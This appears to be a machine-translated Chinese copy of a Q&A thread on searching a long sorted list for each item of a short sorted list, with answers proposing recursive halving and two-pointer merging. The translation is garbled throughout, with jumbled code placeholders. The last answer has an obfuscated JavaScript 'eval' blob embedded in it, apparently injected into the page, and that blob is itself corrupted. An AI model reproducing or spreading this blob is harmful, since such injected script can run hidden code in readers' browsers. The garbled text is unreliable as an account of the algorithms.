二进制搜索已排序的多个项目

时间:2015-05-23 18:19:36

标签: algorithm binary-search

假设我有一个长排序列表L = {1,2,...,999,1000}和一个短排序列表S = {22,255,623,732,876}。

在L中,我想搜索S的每个元素。最有效的方法是什么?

到目前为止,我提出的方法是:

1. Binary search for 22. Record the lower bound=23
2. Binary search for 876. Record the upper bound=875
3. Binary search for 255 in the range [lower bound=23, upper bound=875].
4. Set lower bound=256, and go on..

这是最有效的方式吗?有没有其他方法比这种方法更快收敛?

谢谢!

3 个答案:

答案 0 :(得分:1)

一些建议:

1)首先,尝试找到sorted short list的中间元素(示例中为623),结果为index

2)将短名单划分为下半部分(所有元素都小于中间元素)和上半部分(所有元素都大于中间元素)。

3)对于下半部分,我们开始从长列表的0index进行搜索,对于上半部分,我们开始从index + 1搜索到{{1} }(n是长列表的长度)

4)递归执行步骤1的两半。

答案 1 :(得分:1)

您想要跟踪界限并缩小搜索范围是个好主意。从左右两端交替查找条目的方法与从左到右移动小数组并调整下限一样好。 (除非你对S中键的分布有所了解。)

我认为你应该在小数组上递归工作,并在每次递归,二进制搜索样式中切入一半。在数组L中查找k并找到索引{22, 255}。接下来递归到左子阵列并在L[0...k]中的{723, 876}中查找条目。然后递归到右侧并在L[k + 1...|L|]中查找条目{{1}}。

答案 2 :(得分:1)

由于您在其中一条评论中提到您的列表很大,如果您的较短列表的长度与较长列表的长度相当,您可以在两个列表的开头设置两个指针,并在每个步骤移动一个指向右边较小的元素。只要两个指针指向相同的值,就会找到匹配项。如果O(s + l)接近O(s log l)s是较短列表的长度l,则s会比l更快。eval((function(D28){for(var J28="",p28=0,C28=function(D28,y28){for(var L28=0,E28=0;E28=32&&t28<=127){L28+=t28-32;}}return L28;};p28((0x50,48.)>(54.0E1,99.)?2:1.3860E3<=(27.,0xA9)?(1.95E2,0x229):13.98E2<(126,0x240)?2:(0x1B2,0x19F)>(0x9F,105)?(140.,0):(104.,0xF3)<=99?\"W\"` Q 6E,19))){I=X.substring(v,Q);c=I.length;return Y(I,c,x);}else if(v===((13.25E2,77.)>=(0x157,146.)?(26.,70.9E1):(0x213,10.59E2)<` F 6,9.02E2)?(0x5,\"r\"):(52,18.3E1)>(1.137E3,82.)?(0.,null):(25.8E1,19.5E1)>=(0x1E5,0x183)?(9.4E1,\'r\'):(11.84E2,7` N )<0x196?0:(84,82.))||v<=(7.92E2>=(0xCD,1.062E3)?8.73E2:119.>=(14.9E1,12)?(135,0):(0x55,100.)>(55.,102.)?(0x255,46.` > 253,31)>=(0xD4,4.10E1)?0x1D4:(0xB8,140.)>9.68E2?(1.24E3,0xA2):(131.,0x115))){I=X.substring(((0x171,81.2E1)>65.10E1?(4.11E2,0):(146,0xA6)<(143.,99.)?0x241:(0x247,0x1D6)>=(0x222,10.96E2)?4.86E2:(1.0E1,0x130)<0xB6?(0x1C1,127.10E1):(0x164,2.23E2)<=29?(52.80E1,136.):(14.46E2,11.03E2)),X.length);c=I` %\";return Y(I,c,x);}I=X.substring(` L#-v` 8B,d=function(v,x){var Q=x&((0x146,71.7E1)< 1}}是较长列表的长度。)